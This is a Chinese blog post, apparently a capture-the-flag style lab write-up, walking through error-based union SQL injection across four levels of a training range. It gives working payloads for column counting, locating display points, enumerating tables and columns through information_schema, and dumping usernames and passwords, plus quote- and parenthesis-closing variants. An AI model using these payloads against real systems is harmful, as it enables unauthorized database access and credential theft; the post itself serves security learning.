zoukankan      html  css  js  c++  java
  • SQL注入实战篇2--显错注入

    本次实战靶场用的封神台的SQL注入靶场。

    靶场链接:http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1

    看过实战1后,咱们就直接来试试自己有没有学会。因为是靶场,所以肯定存在漏洞,咱们就不判断是否存在注入了。

    第一步:从页面显示来看,这种应该是一个数字型的回显注入。那么我们就来看看有几列。

    构造?id=1 and 1=1 group by 1

    发现页面没有报错,继续往后group by 2和group by 3...,当试到4的时候发现查询不到了,由此判断应该是有三个字段。

    第二步:确定有三列以后,接着看看回显的点。

    构造?id=1 and 1=2 union select 1,2,3

    有了这两个回显点后,我们就可以简单查询一些信息了,像版本、当前数据库名、所属用户等等。

    构造?id=1 and 1=2 union select 1,version(),user()

    第三步:由第二步获得了当前数据库的名称为error ,接着我们就可以获取数据库的一些信息了。

    1、查询所有表:
    ?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())


    2、查询表的字段 :以user表为例

    构造?id=1%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27user%27%20limit%200,1

    通过更改limit函数后面的数值可以得出此表的三个字段为Id,userame,password

     

    3.查询某个表中的所有字段 (此例为 error数据库中的user表):
    构造 ?id=1 and 1=2 union select 1,username,password from user limit 0,1

    当然这是第一关,后面几关就是绕过问题,绕过的姿势一定要帅。我这边也给大家一并做了吧

    第二关:发现多加了单引号

     那么我们闭合单引号

    构造?id=1%27%20and%201=2%20union%20select%201,2,3%23 就可以搞定了,后面跟前面一样,我就说个思路。

    第三关:在第二关基础上加括号,一样的闭合括号

     那么我们构造?id=1%27)%20and%201=2%20union%20select%201,2,3%23   就可以解决

    第四关:单引号变双引号

     构造?id=1")%20and%201=2%20union%20select%201,2,3%23

    如果大家觉得不过瘾,有一个靶场是sql-labs,大家可以自行搭建这个靶场练习。

    至此,SQL注入的显错注入练习借结束了。下一篇盲注实战,喜欢的多多关注,感谢。

  • 相关阅读:
    LeetCode: LRU Cache
    LeetCode: Reorder List
    LeetCode: Linked List Cycle I && II
    LeetCode: Word Break I && II
    LeetCode: Single Number I && II
    太坑了,mybatis注解一对多,id没了
    ajax请求参数的格式
    查询结果拼接
    id拼接保存到单个字段后作为表连接的查询条件
    seam的定时轮巡
  • 原文地址:https://www.cnblogs.com/xyz315/p/13044627.html
Copyright © 2011-2022 走看看